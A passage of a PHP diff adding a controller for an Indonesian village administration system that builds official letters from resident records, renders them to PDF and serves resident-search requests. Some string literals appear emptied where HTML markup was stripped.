['dengan_kk' => true], true); + } else { + $data['individu'] = Penduduk::findOrFail($nik); + $data['anggota'] = null; + + if (in_array($data['surat']->form_isian->individu->status_dasar, $this->logpenduduk::PERISTIWA)) { + $data['logpenduduk'] = $this->logpenduduk; + $data['peristiwa'] = $this->logpenduduk::with('penduduk')->where('id_pend', $nik)->latest()->first(); + } + + if ($data['surat']->form_isian->data_orang_tua) { + $data['ayah'] = Penduduk::where('nik', $data['individu']->ayah_nik)->first(); + $data['ibu'] = Penduduk::where('nik', $data['individu']->ibu_nik)->first(); + + if (! $data['ayah'] && $data['individu']->kk_level == StatusHubunganEnum::ANAK) { + $data['ayah'] = Penduduk::where('id_kk', $data['individu']->id_kk) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::SUAMI); + }) + ->where('sex', JenisKelaminEnum::LAKI_LAKI) + ->first(); + } + + if (! $data['ibu'] && $data['individu']->kk_level == StatusHubunganEnum::ANAK) { + $data['ibu'] = Penduduk::where('id_kk', $data['individu']->id_kk) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::ISTRI); + }) + ->where('sex', JenisKelaminEnum::PEREMPUAN) + ->first(); + } + + $data['list_dokumen_ayah'] = empty($data['ayah']) ? null : $this->penduduk_model->list_dokumen($data['ayah']->id); + $data['list_dokumen_ibu'] = empty($data['ibu']) ? null : $this->penduduk_model->list_dokumen($data['ibu']->id); + } + + if ($data['surat']->form_isian->data_pasangan && in_array($data['individu']->kk_level, [1, 2, 3])) { + $data['pasangan'] = Penduduk::where('id_kk', $data['individu']->id_kk) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::ISTRI); + }) + ->where('sex', JenisKelaminEnum::PEREMPUAN) + ->first(); + + if ($data['individu']->sex == JenisKelaminEnum::PEREMPUAN) { + $data['pasangan'] = Penduduk::where('id_kk', $data['individu']->id_kk) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::SUAMI); + }) + ->where('sex', JenisKelaminEnum::LAKI_LAKI) + ->first(); + } + + $data['list_dokumen_pasangan'] = empty($data['pasangan']) ? null : $this->penduduk_model->list_dokumen($data['pasangan']->id); + } + } + } else { + $data['individu'] = null; + $data['anggota'] = null; + } + + // cek apakah surat itu memiliki form kategori ( saksi etc ) + $kategori = get_key_form_kategori($data['surat']['form_isian']); + if (! empty($kategori)) { + $form_kategori = []; + $kategori_isian = []; + $filter_kategori = collect($data['surat']->kode_isian)->filter(static function ($item) use (&$kategori_isian) { + $kategori_isian[$item->kategori][] = $item; + + return isset($item->kategori); + })->values(); + + foreach ($kategori as $ktg) { + $form_kategori[$ktg]['form'] = $this->get_data_untuk_form($url, $data, $ktg); + $form_kategori[$ktg]['kode_isian'] = $kategori_isian[$ktg]; + $form_kategori[$ktg]['saksi'] = $this->input->post("id_pend_{$ktg}") ?? ''; + + if (! empty($form_kategori[$ktg]['saksi'])) { + $form_kategori[$ktg]["saksi_{$ktg}"] = Penduduk::findOrFail($form_kategori[$ktg]['saksi']); + } + + $form_kategori[$ktg]["list_dokumen_{$ktg}"] = empty($form_kategori[$ktg]["saksi_{$ktg}"]) + ? null : $this->penduduk_model->list_dokumen($form_kategori[$ktg]["saksi_{$ktg}"]->id); + } + $filtered_kode_isian = collect($data['surat']->kode_isian)->reject(static function ($item) { + return isset($item->kategori); + })->values(); + + $data['surat']['kode_isian'] = $filtered_kode_isian; + $data['form_kategori'] = $form_kategori; + } + + $this->get_data_untuk_form($url, $data); + + if (in_array($data['surat']['jenis'], FormatSurat::RTF)) { + $data['form_action'] = site_url("surat/doc/{$url}"); + $data_form = $this->surat_model->get_data_form($url); + if (is_file($data_form)) { + include $data_form; + } + + return $this->render('surat/form_surat', $data); + } + // TODO:: Gunakan 1 list_dokumen untuk RTF dan TinyMCE + $data['list_dokumen'] = empty($nik) ? null : $this->penduduk_model->list_dokumen($data['individu']['id']); + $data['form_action'] = route('surat.pratinjau', $url); + + return view('admin.surat.form_desa', $data); + } + + redirect_with('error', 'Surat tidak ditemukan'); + } + + public function pratinjau($url, $id = null) + { + if ($id) { + // Ganti status menjadi 'Menunggu Tandatangan' + $this->permohonan_surat_model->proses($id, 2); + } + + $surat = FormatSurat::cetak($url)->first(); + $kecamatan = $surat->kecamatan == StatusEnum::TIDAK ? StatusSuratKecamatanEnum::TidakAktif : StatusSuratKecamatanEnum::BelumDikirim; + + if ($surat && $this->request) { + // Simpan data ke log_surat sebagai draf + $id_pamong = $this->ttd($this->request['pilih_atas_nama'], $this->request['pamong_id']); + $pamong = Pamong::find($id_pamong); + $log_surat = [ + 'id_format_surat' => $surat->id, + 'id_pend' => $this->request['nik'], + 'nama_non_warga' => $this->request['nama_non_warga'], + 'nik_non_warga' => $this->request['nik_non_warga'], + 'id_pamong' => $id_pamong, + 'nama_jabatan' => $pamong->jabatan->nama, + 'nama_pamong' => $pamong->pamong_nama, + 'tanggal' => Carbon::now(), + 'bulan' => date('m'), + 'tahun' => date('Y'), + 'no_surat' => $this->request['nomor'], + 'keterangan' => $this->request['keterangan'] ?: $this->request['keperluan'], + 'kecamatan' => $kecamatan, + ]; + + $log_surat['surat'] = $surat; + $log_surat['input'] = $this->request; + $setting_header = $surat->header == StatusEnum::YA ? setting('header_surat') : ''; + $setting_footer = $surat->footer == StatusEnum::YA ? (setting('tte') == StatusEnum::YA ? setting('footer_surat_tte') : setting('footer_surat')) : ''; + $log_surat['isi_surat'] = preg_replace('/\\\\/', '', $setting_header) . '' . ($surat->template_desa ?: $surat->template) . '' . preg_replace('/\\\\/', '', $setting_footer); + + if (isset($log_surat['input']['id_pengikut'])) { + $pengikut = Penduduk::whereIn('id', $log_surat['input']['id_pengikut'])->get(); + $keterangan[] = []; + + foreach ($pengikut as $anak) { + $keterangan[$anak->id] = $log_surat['input']['ket_' . $anak->id] ?? ''; + } + + $log_surat['pengikut_surat'] = generatePengikut($pengikut, $keterangan); + } + + if (isset($log_surat['input']['id_pengikut_kis'])) { + $pengikut = Penduduk::whereIn('id', $log_surat['input']['id_pengikut_kis'])->get(); + $kis = []; + + foreach ($pengikut as $anggota) { + $kis[$anggota->id] = $log_surat['input']['kis'][$anggota->nik]; + } + + $log_surat['pengikut_kis'] = generatePengikutSuratKIS($pengikut); + $log_surat['pengikut_kartu_kis'] = generatePengikutKartuKIS($kis); + } + + if (isset($log_surat['input']['id_pengikut_pindah'])) { + $pengikut = Penduduk::with('pendudukHubungan')->whereIn('id', $log_surat['input']['id_pengikut_pindah'])->get(); + $pindah = []; + + foreach ($pengikut as $anggota) { + $pindah[$anggota->id] = $log_surat['input']['pindah'][$anggota->nik]; + } + + $log_surat['pengikut_pindah'] = generatePengikutPindah($pengikut); + } + + // Lewati ganti kode_isian + // return json($log_surat); + $daftar_kategori = get_key_form_kategori($surat->form_isian); + + foreach ($daftar_kategori as $kategori) { + $log_surat['kategori'][$kategori] = $this->request['id_pend_' . $kategori]; + } + + $isi_surat = $this->tinymce->replceKodeIsian($log_surat); + + unset($log_surat['isi_surat']); + $this->session->log_surat = $log_surat; + + $aksi_konsep = site_url('surat/konsep'); + $aksi_cetak = site_url('surat/pdf'); + + $id_surat = $surat->id; + + return view('admin.surat.konsep', compact('content', 'aksi_konsep', 'aksi_cetak', 'isi_surat', 'id_surat')); + } + + set_session('error', "Data Surat {$surat->nama} tidak ditemukan"); + + redirect("surat/form/{$url}"); + } + + public function pdf($preview = false) + { + // Cetak Konsep + $cetak = $this->session->log_surat; + if ($cetak) { + $id_pamong = $this->ttd($this->request['pilih_atas_nama'], $this->request['pamong_id']); + $pamong = Pamong::find($id_pamong); + $log_surat = [ + 'id_format_surat' => $cetak['id_format_surat'], + 'id_pend' => $cetak['id_pend'], // nik = id_pend + 'id_pamong' => $id_pamong, + 'nama_jabatan' => $pamong->jabatan->nama, + 'nama_pamong' => $pamong->pamong_nama, + 'id_user' => auth()->id, + 'tanggal' => Carbon::now(), + 'bulan' => date('m'), + 'tahun' => date('Y'), + 'no_surat' => $cetak['input']['nomor'], + 'keterangan' => $cetak['keterangan'], + 'kecamatan' => $cetak['kecamatan'], + ]; + + if ($nik = $cetak['input']['nik']) { + $nik = Penduduk::find($nik)->nik; + } else { + // Surat untuk non-warga + $log_surat['nama_non_warga'] = $cetak['input']['nama_non_warga']; + $log_surat['nik_non_warga'] = $cetak['input']['nik_non_warga']; + $nik = $log_surat['nik_non_warga']; + } + + $log_surat['surat'] = $cetak['surat']; + $log_surat['input'] = $cetak['input']; + $log_surat['isi_surat'] = $this->request['isi_surat']; + + $isi_surat = $this->tinymce->replceKodeIsian($log_surat); + + // Pisahkan isian surat + $isi_surat = str_replace('

', '', $isi_surat); + $isi = explode('', $isi_surat); + $backtop = $cetak['surat']->header == 0 ? 0 : (((float) setting('tinggi_header')) * 10) . 'mm'; + $backbottom = $cetak['surat']->footer == 0 ? 0 : (((float) setting('tinggi_footer')) * 10) . 'mm'; + + $isi_cetak = ' + + + ' . $isi[0] . ' + + + ' . $isi[2] . ' + + + ' . $isi[1] . ' + + '; + + $nama_surat = $this->nama_surat_arsip($cetak['surat']['url_surat'], $nik, $cetak['no_surat']); + + $log_surat['nama_surat'] = $nama_surat; + + unset($log_surat['surat'], $log_surat['input']); + $id = LogSurat::updateOrCreate(['id' => $cetak['id']], $log_surat)->id; + $surat = LogSurat::findOrFail($id); + + // Logo Surat + $file_logo = ($cetak['surat']['logo_garuda'] ? FCPATH . LOGO_GARUDA : gambar_desa(identitas()->logo, false, true)); + + $logo = (is_file($file_logo)) ? 'logo-surat' : ''; + $logo_bsre = str_replace('[logo]', $logo, $isi_cetak); + + // Logo BSrE + $file_logo_bsre = FCPATH . LOGO_BSRE; + $bsre = (is_file($file_logo_bsre) && setting('tte') == 1) ? 'logo-bsre' : ''; + $logo_qrcode = str_replace('[logo_bsre]', $bsre, $logo_bsre); + + // QR_Code Surat + if ($cetak['surat']['qr_code'] && ((setting('tte') == 1 && $surat->verifikasi_kades == LogSurat::TERIMA) || (setting('tte') == 0))) { + $cek = $this->surat_model->buatQrCode($surat->nama_surat); + + $qrcode = ($cek['viewqr']) ? 'qrcode-surat' : ''; + $logo_qrcode = str_replace('[qr_code]', $qrcode, $logo_qrcode); + $surat->urls_id = $cek['urls_id']; + } else { + $logo_qrcode = str_replace('[qr_code]', '', $logo_qrcode); + } + + // Lampiran + $logo_qrcode = $this->buatLampiran($surat->id_pend, $cetak, $logo_qrcode); + $margin_cm_to_mm = $cetak['surat']['margin_cm_to_mm']; + if ($cetak['surat']['margin_global'] == '1') { + $margin_cm_to_mm = setting('surat_margin_cm_to_mm'); + } + // convert in PDF + try { + $html2pdf = new Html2Pdf($cetak['surat']['orientasi'], $cetak['surat']['ukuran'], 'en', true, 'UTF-8', $margin_cm_to_mm); + $html2pdf->setTestTdInOnePage(true); + $html2pdf->setDefaultFont(underscore(setting('font_surat'), true, true)); + $html2pdf->writeHTML($logo_qrcode); + if ($preview) { + $html2pdf->output(tempnam(sys_get_temp_dir(), '') . '.pdf', 'FI'); + } else { + $html2pdf->output(FCPATH . LOKASI_ARSIP . $nama_surat, 'FI'); + + // Untuk surat yang sudah dicetak, simpan isian suratnya yang sudah jadi (siap di konversi) + $surat->isi_surat = $isi_cetak; + $surat->status = LogSurat::CETAK; + } + } catch (Html2PdfException $e) { + $html2pdf->clean(); + $formatter = new ExceptionFormatter($e); + log_message('error', trim(preg_replace('/\s\s+/', ' ', $formatter->getMessage()))); + + // Untuk surat yang sudah tersimpan sebagai draf, simpan isian suratnya yang belum jadi (hanya isian surat dari konversi template surat) + $surat->isi_surat = $isi[1]; + $surat->status = LogSurat::KONSEP; + + return $this->output + ->set_status_header(404, str_replace("\n", ' ', $formatter->getMessage())) + ->set_content_type('application/json') + ->set_output(json_encode([ + 'statusText' => $formatter->getMessage(), + ])); + } + + if ($preview) { + // TODO: gunakan relasi + Urls::destroy($surat->urls_id); + log_message('error', 'Preview surat berhasil. ' . $surat->urls_id); + LogSurat::destroy($id); + } else { + // Jika verifikasi sekdes atau verifikasi kades di non-aktifkan + $surat->verifikasi_operator = (setting('verifikasi_sekdes') || setting('verifikasi_kades')) ? LogSurat::PERIKSA : LogSurat::TERIMA; + + $surat->save(); + } + + redirect('surat'); + } else { + redirect_with('error', 'Tidak ada surat yang akan dicetak.'); + } + } + + public function konsep() + { + $cetak = $this->session->log_surat; + + if ($cetak) { + $id_pamong = $this->ttd($this->request['pilih_atas_nama'], $this->request['pamong_id']); + $pamong = Pamong::find($id_pamong); + $log_surat = [ + 'id_format_surat' => $cetak['id_format_surat'], + 'id_pend' => $cetak['id_pend'], // nik = id_pend + 'id_pamong' => $id_pamong, + 'nama_jabatan' => $pamong->jabatan->nama, + 'nama_pamong' => $pamong->pamong_nama, + 'id_user' => auth()->id, + 'tanggal' => Carbon::now(), + 'kecamatan' => $cetak['kecamatan'], + ]; + $log_surat['verifikasi_operator'] = 0; + + if ($nik = $cetak['input']['nik']) { + $nik = Penduduk::find($nik)->nik; + } else { + // Surat untuk non-warga + $log_surat['nama_non_warga'] = $cetak['input']['nama_non_warga']; + $log_surat['nik_non_warga'] = $cetak['input']['nik_non_warga']; + $nik = $log_surat['nik_non_warga']; + } + + $isi_surat = $this->request['isi_surat']; + + // Kembalikan kode isian [format_nomor_surat] + $format_surat = $this->tinymce->substitusiNomorSurat($cetak['input']['nomor'], setting('format_nomor_surat')); + $format_surat = str_replace('[kode_surat]', $cetak['surat']['kode_surat'], $format_surat); + $format_surat = str_replace('[kode_desa]', identitas()->kode_desa, $format_surat); + $format_surat = str_replace('[bulan_romawi]', bulan_romawi((int) (date('m'))), $format_surat); + $format_surat = str_replace('[tahun]', date('Y'), $format_surat); + + $isi_surat = str_replace($format_surat, '[format_nomor_surat]', $isi_surat); + + // Kembalikan kode isian [tgl_surat] + $tgl_surat = tgl_indo($log_surat['tanggal']); + $isi_surat = str_replace($tgl_surat, '[tgl_surat]', $isi_surat); + + // Hanya simpan isian surat + $isi_surat = explode('', $isi_surat)[1]; + + $log_surat['isi_surat'] = $isi_surat; + + // Jika verifikasi sekdes atau verifikasi kades di non-aktifkan + $log_surat['verifikasi_operator'] = (setting('verifikasi_sekdes') || setting('verifikasi_kades')) ? LogSurat::PERIKSA : LogSurat::TERIMA; + + if (LogSurat::updateOrCreate(['id' => $cetak['id']], $log_surat)) { + redirect_with('success', 'Berhasil Simpan Konsep'); + } + } + + redirect_with('success', 'Gagal Simpan Konsep'); + } + + public function cetak($id) + { + $surat = LogSurat::find($id); + + if ($surat->status && $surat->verifikasi_operator != '-1') { + // Cek ada file + if (file_exists(FCPATH . LOKASI_ARSIP . $surat->nama_surat)) { + return ambilBerkas($surat->nama_surat, $this->controller, null, LOKASI_ARSIP, true); + } + + $isi_cetak = $surat->isi_surat; + $nama_surat = $surat->nama_surat; + $cetak['surat'] = $surat->formatSurat; + + // Logo Surat + $file_logo = ($cetak['surat']['logo_garuda'] ? FCPATH . LOGO_GARUDA : gambar_desa(identitas()->logo, false, true)); + + $logo = (is_file($file_logo)) ? 'logo-surat' : ''; + $isi_cetak = str_replace('[logo]', $logo, $isi_cetak); + + // Logo BSrE + $file_logo_bsre = FCPATH . LOGO_BSRE; + $bsre = (is_file($file_logo_bsre) && setting('tte') == 1) ? 'logo-bsre' : ''; + $isi_cetak = str_replace('[logo_bsre]', $bsre, $isi_cetak); + + // QR_Code Surat + if ($cetak['surat']['qr_code']) { + $cek = $this->surat_model->buatQrCode($nama_surat); + $qrcode = ($cek['viewqr']) ? 'qrcode-surat' : ''; + $isi_cetak = str_replace('[qr_code]', $qrcode, $isi_cetak); + } else { + $isi_cetak = str_replace('[qr_code]', '', $isi_cetak); + } + + // Lampiran + $isi_cetak = $this->buatLampiran($surat->id_pend, $cetak, $isi_cetak); + + $margin_cm_to_mm = $cetak['surat']['margin_cm_to_mm']; + if ($cetak['surat']['margin_global'] == '1') { + $margin_cm_to_mm = setting('surat_margin_cm_to_mm'); + } + + // convert in PDF + try { + $html2pdf = new Html2Pdf($cetak['surat']['orientasi'], $cetak['surat']['ukuran'], 'en', true, 'UTF-8', $margin_cm_to_mm); + $html2pdf->setTestTdInOnePage(false); + $html2pdf->setDefaultFont(underscore(setting('font_surat'), true, true)); + $html2pdf->writeHTML($isi_cetak); + // $html2pdf->output($nama_surat, 'D'); + $html2pdf->output(FCPATH . LOKASI_ARSIP . $nama_surat, 'FI'); + } catch (Html2PdfException $e) { + $html2pdf->clean(); + $formatter = new ExceptionFormatter($e); + log_message('error', $formatter->getHtmlMessage()); + } + } else { + $log_surat = [ + 'id_format_surat' => $surat->id_format_surat, + 'id_pend' => $surat->id_pend, + ]; + + // Untuk sementara : + // 1. penanda tangan sama dengan log surat yang disimpan sebagai draf + $pamong = Pamong::find($surat->id_pamong); + + $atas_nama = ''; + if ($pamong->pamong_ttd === 1) { + $atas_nama .= 'a.n ' . ucwords($pamong->pamong_jabatan . ' ' . identitas()->nama_desa); + } elseif ($pamong->pamong_ub === 1) { + $atas_nama .= 'u.b ' . ucwords($pamong->pamong_jabatan . ' ' . identitas()->nama_desa); + } + + $log_surat['no_surat'] = $this->surat_model->get_last_nosurat_log($surat->url_surat)['no_surat_berikutnya']; + $log_surat['surat'] = $surat->formatSurat; + $log_surat['input'] = [ + 'nik' => $surat->id_pend, + 'nama_non_warga' => $surat->nama_non_warga, + 'nik_non_warga' => $surat->nik_non_warga, + + // 1. Nomer surat dicek dan dibuat ulang + 'nomor' => $log_surat['no_surat'], + 'pilih_atas_nama' => $atas_nama, + 'pamong_id' => $pamong->pamong_id, + ]; + + if ($surat->verifikasi_operator != '-1') { + $log_surat['isi_surat'] = preg_replace('/\\\\/', '', setting('header_surat')) . '' . ($surat->isi_surat) . '' . preg_replace('/\\\\/', '', setting('footer_surat')); + } else { + $log_surat['isi_surat'] = preg_replace('/\\\\/', '', ($surat->isi_surat)); + } + + $log_surat['id'] = $surat->id; + $isi_surat = $this->tinymce->replceKodeIsian($log_surat); + + unset($log_surat['isi_surat']); + $this->session->log_surat = $log_surat; + + $aksi_konsep = site_url('surat/konsep'); + $aksi_cetak = site_url('surat/pdf'); + $tolak = $surat->verifikasi_operator; + $id_surat = $surat->id; + + return view('admin.surat.konsep', compact('content', 'aksi_konsep', 'aksi_cetak', 'isi_surat', 'id_surat', 'tolak')); + } + } + + private function ttd($ttd = '', $pamong_id = null) + { + if (preg_match('/a.n/i', $ttd)) { + return Pamong::ttd('a.n')->first()->pamong_id; + } + if (preg_match('/u.b/i', $ttd)) { + return $pamong_id; + } + + return Pamong::kepalaDesa()->first()->pamong_id; + } + + private function nama_surat_arsip($url, $nik, $nomor) + { + $nomor_surat = str_replace("'", '', $nomor); + $nomor_surat = preg_replace('/[^a-zA-Z0-9. ]/', '-', $nomor_surat); + + return $url . '_' . $nik . '_' . date('Y-m-d') . '_' . $nomor_surat . '.pdf'; + } + + public function periksa_doc($id, $url) + { + // Ganti status menjadi 'Menunggu Tandatangan' + $this->permohonan_surat_model->proses($id, 2); + $this->cetak_doc($url); + } + + public function doc($url = '') + { + $this->load->config('develbar', false); + $this->cetak_doc($url); + $this->load->config('develbar', true); + } + + private function cetak_doc($url) + { + $format = $this->surat_model->get_surat($url); + $id_pamong = $this->ttd($this->request['pilih_atas_nama'], $this->request['pamong_id']); + $pamong = Pamong::find($id_pamong); + $log_surat['url_surat'] = $format['id']; + $log_surat['nama_jabatan'] = $pamong->jabatan->nama; + $log_surat['nama_pamong'] = $pamong->pamong_nama; + $log_surat['id_user'] = $_SESSION['user']; + $log_surat['no_surat'] = $_POST['nomor']; + $id = $_POST['nik']; + $keperluan = $_POST['keperluan']; + $keterangan = $_POST['keterangan']; + $log_surat['id_pamong'] = $id_pamong; + + switch ($url) { + case 'surat_ket_kelahiran': + // surat_ket_kelahiran id-nya ibu atau bayi + if (! $id) { + $id = $_SESSION['id_ibu']; + } + if (! $id) { + $id = $_SESSION['id_bayi']; + } + break; + + case 'surat_ket_nikah': + // id-nya calon pasangan pria atau wanita + if (! $id) { + $id = $_POST['id_pria']; + } + if (! $id) { + $id = $_POST['id_wanita']; + } + break; + + case 'surat_kuasa': + // id-nya pemberi kuasa atau penerima kuasa + if (! $id) { + $id = $_POST['id_pemberi_kuasa']; + } + if (! $id) { + $id = $_POST['id_penerima_kuasa']; + } + break; + + default: + // code... + break; + } + + if ($id) { + $log_surat['id_pend'] = $id; + // TODO: Sederhanakan query ini, pindahkan ke model + $nik = $this->db->select('nik')->where('config_id', identitas('id'))->where('id', $id)->get('tweb_penduduk')->row()->nik; + } else { + // Surat untuk non-warga + $log_surat['nama_non_warga'] = $_POST['nama_non_warga']; + $log_surat['nik_non_warga'] = $_POST['nik_non_warga']; + $nik = $log_surat['nik_non_warga']; + } + + $log_surat['keterangan'] = $keterangan ?: $keperluan; + $nama_surat = $this->keluar_model->nama_surat_arsip($url, $nik, $_POST['nomor']); + $log_surat['nama_surat'] = $nama_surat; + if ($format['lampiran']) { + $lampiran = pathinfo($nama_surat, PATHINFO_FILENAME) . '_lampiran.pdf'; + $log_surat['lampiran'] = $lampiran; + } + $log_surat['verifikasi_operator'] = LogSurat::TERIMA; + $this->keluar_model->log_surat($log_surat); + + $surat = $this->surat_model->buat_surat($url, $nama_surat, $lampiran); + $nama_surat = $surat['namaSurat']; + + // TODO: Sederhanakan query ini, pindahkan ke model + // Update urls_id log_surat (untuk link qrcode) + $this->db->where('config_id', identitas('id'))->where('nama_surat', $nama_surat)->update('log_surat', ['urls_id' => $surat['qrCode']['urls_id']]); + + if (function_exists('exec') && $this->input->post('submit_cetak') == 'cetak_pdf') { + $nama_surat = $this->surat_model->rtf_to_pdf($nama_surat); + } + + if ($lampiran) { + $this->load->library('zip'); + + $this->zip->read_file(LOKASI_ARSIP . $nama_surat); + $this->zip->read_file(LOKASI_ARSIP . $lampiran); + $this->zip->download(pathinfo($nama_surat, PATHINFO_FILENAME) . '.zip'); + } else { + ambilBerkas($nama_surat, $this->controller); + } + } + + public function nomor_surat_duplikat() + { + $hasil = $this->penomoran_surat_model->nomor_surat_duplikat('log_surat', $_POST['nomor'], $_POST['url']); + echo $hasil ? 'false' : 'true'; + } + + public function search() + { + $cari = $this->input->post('nik'); + if ($cari != '') { + redirect("surat/form/{$cari}"); + } else { + redirect('surat'); + } + } + + // Data yang digunakan surat jenis rtf dan tinymce + private function get_data_untuk_form($url, &$data, $kategori = 'individu') + { + // RTF + if (in_array($data['surat']['jenis'], FormatSurat::RTF)) { + $data['config'] = $data['lokasi'] = $this->header['desa']; + $data['penduduk'] = $this->surat_model->list_penduduk(); + $data['perempuan'] = $this->surat_model->list_penduduk_perempuan(); + } else { + // TinyMCE + // Data penduduk diambil sesuai pengaturan surat + if ($data['surat']['form_isian']->data == 2) { + $data['penduduk'] = null; + $data['anggota'] = null; + } else { + $filters = collect($data['surat']['form_isian']->{$kategori})->toArray(); + unset($filters['data']); + // $data['penduduk'] = Penduduk::filters($filters)->get(); + // pakai first saja, karena menggunakan select2 ajax + $data['penduduk'] = Penduduk::filters($filters)->first(); + $kk_level = $data['individu']['kk_level']; + $ada_anggota = ($filters['kk_level'] == SHDKEnum::KEPALA_KELUARGA || $kk_level == SHDKEnum::KEPALA_KELUARGA) ? true : false; + + if ($ada_anggota) { + $data['anggota'] = Keluarga::find($data['individu']['id_kk'])->anggota; + } else { + $data['anggota'] = null; + } + if ($kategori != 'individu') { + return $data; + } + } + $template = $data['surat']->template_desa ?: $data['surat']->template; + if (preg_match('/\[pengikut_surat\]/i', $template)) { + $pengikut = $this->pengikutDibawah18Tahun($data); + if ($pengikut) { + $data['pengikut'] = $pengikut; + } + } + + if (preg_match('/\[pengikut_kis\]/i', $template)) { + $pengikut = $this->pengikutSuratKIS($data); + if ($pengikut) { + $data['pengikut_kis'] = $pengikut; + } + } + + if (preg_match('/\[pengikut_pindah\]/i', $template)) { + $pengikut = $this->pengikutPindah($data); + if ($pengikut) { + $data['pengikut_pindah'] = $pengikut; + } + } + } + + $data['surat_terakhir'] = $this->surat_model->get_last_nosurat_log($url); + $data['input'] = $this->input->post(); + $data['input']['nomor'] = $data['surat_terakhir']['no_surat_berikutnya']; + $data['format_nomor_surat'] = $this->penomoran_surat_model->format_penomoran_surat($data); + + $penandatangan = $this->tinymce->formPenandatangan(); + $data['pamong'] = $penandatangan['penandatangan']; + $data['atas_nama'] = $penandatangan['atas_nama']; + } + + public function favorit($id = null, $val = 0) + { + $this->redirect_hak_akses('u'); + + $favorit = FormatSurat::findOrFail($id); + $favorit->update(['favorit' => ($val == 1) ? 0 : 1]); + + redirect_with('success', 'Berhasil Ubah Data'); + } + + /* + Ajax POST data: + url -- url surat + nomor -- nomor surat + */ + public function format_nomor_surat() + { + $data['surat'] = $this->surat_model->get_surat($this->input->post('url')); + $data['input']['nomor'] = $this->input->post('nomor'); + $format_nomor = $this->penomoran_surat_model->format_penomoran_surat($data); + echo json_encode($format_nomor); + } + + /* + Ajax url query data: + q -- kata pencarian + page -- nomor paginasi + */ + public function list_penduduk_ajax() + { + $cari = $this->input->get('q'); + $page = $this->input->get('page'); + $filter_sex = $this->input->get('filter_sex'); + $filter['sex'] = ($filter_sex == 'perempuan') ? 2 : $filter_sex; + $kategori = $this->input->get('kategori') ?? null; + if ($kategori) { + $filterPenduduk = collect(FormatSurat::select('form_isian')->find($this->input->get('surat'))->form_isian->{$kategori})->toArray(); + if (isset($filterPenduduk['data'])) { + unset($filterPenduduk['data']); + } + $filter = array_merge($filter, $filterPenduduk); + } + + $penduduk = $this->surat_model->list_penduduk_ajax($cari, $filter, $page); + echo json_encode($penduduk); + } + + // list untuk dropdown arsip layanan tampil hanya yg bersurat saja + public function list_penduduk_bersurat_ajax() + { + $cari = $this->input->get('q'); + $page = $this->input->get('page'); + $penduduk = $this->surat_model->list_penduduk_bersurat_ajax($cari, $page); + echo json_encode($penduduk); + } + + private function buatLampiran($id = null, $data = [], $view_surat = null) + { + // Catatan : untuk sekarang hanya bisa menggunakan 1 lampiran saja untuk surat TinyMCE + if (empty($data['surat']['lampiran'])) { + return $view_surat; + } + + $surat = $data['surat']; + $input = $data['input']; + $config = $this->header['desa']; + $individu = $this->surat_model->get_data_surat($id); + $penandatangan = $this->surat_model->atas_nama($data); + $lampiran = explode(',', strtolower($surat['lampiran'])); + $format_surat = $this->tinymce->substitusiNomorSurat($input['nomor'], setting('format_nomor_surat')); + $format_surat = str_replace('[kode_surat]', $surat['kode_surat'], $format_surat); + $format_surat = str_replace('[kode_desa]', identitas()->kode_desa, $format_surat); + $format_surat = str_replace('[bulan_romawi]', bulan_romawi((int) (date('m'))), $format_surat); + $format_surat = str_replace('[tahun]', date('Y'), $format_surat); + + if (isset($input['gunakan_format'])) { + unset($lampiran); + + switch (strtolower($input['gunakan_format'])) { + case 'f-1.08 (pindah pergi)': + $lampiran[] = 'f-1.08'; + break; + + case 'f-1.23, f-1.25, f-1.29, f-1.34 (sesuai tujuan)': + $lampiran[] = 'f-1.25'; + break; + + case 'f-1.03 (pindah datang)': + $lampiran[] = 'f-1.03'; + break; + + case 'f-1.27, f-1.31, f-1.39 (sesuai tujuan)': + $lampiran[] = 'f-1.27'; + break; + + default: + $lampiran[] = null; + break; + } + } + + for ($i = 0; $i < count($lampiran); $i++) { + // Cek lampiran desa + $view_lampiran[$i] = FCPATH . LOKASI_LAMPIRAN_SURAT_DESA . $lampiran[$i] . '/view.php'; + + if (! file_exists($view_lampiran[$i])) { + $view_lampiran[$i] = FCPATH . DEFAULT_LOKASI_LAMPIRAN_SURAT . $lampiran[$i] . '/view.php'; + } + + $data_lampiran[$i] = FCPATH . LOKASI_LAMPIRAN_SURAT_DESA . $lampiran[$i] . '/data.php'; + if (! file_exists($data_lampiran[$i])) { + $data_lampiran[$i] = FCPATH . DEFAULT_LOKASI_LAMPIRAN_SURAT . $lampiran[$i] . '/data.php'; + } + + // Data lampiran + include $data_lampiran[$i]; + } + + ob_start(); + + for ($j = 0; $j < count($lampiran); $j++) { + // View Lampiran + include $view_lampiran[$j]; + } + + $content = ob_get_clean(); + + return $view_surat . $content; + } + + public function apipenduduksurat() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + $filters = collect(FormatSurat::select('form_isian')->find($this->input->get('surat'))->form_isian->individu)->toArray(); + + $penduduk = Penduduk::select(['id', 'nik', 'tag_id_card', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('tag_id_card', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->filters($filters) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . '
Tag ID Card : ' . ($item->tag_id_card ?: '-') . '
Nama : ' . $item->nama . '
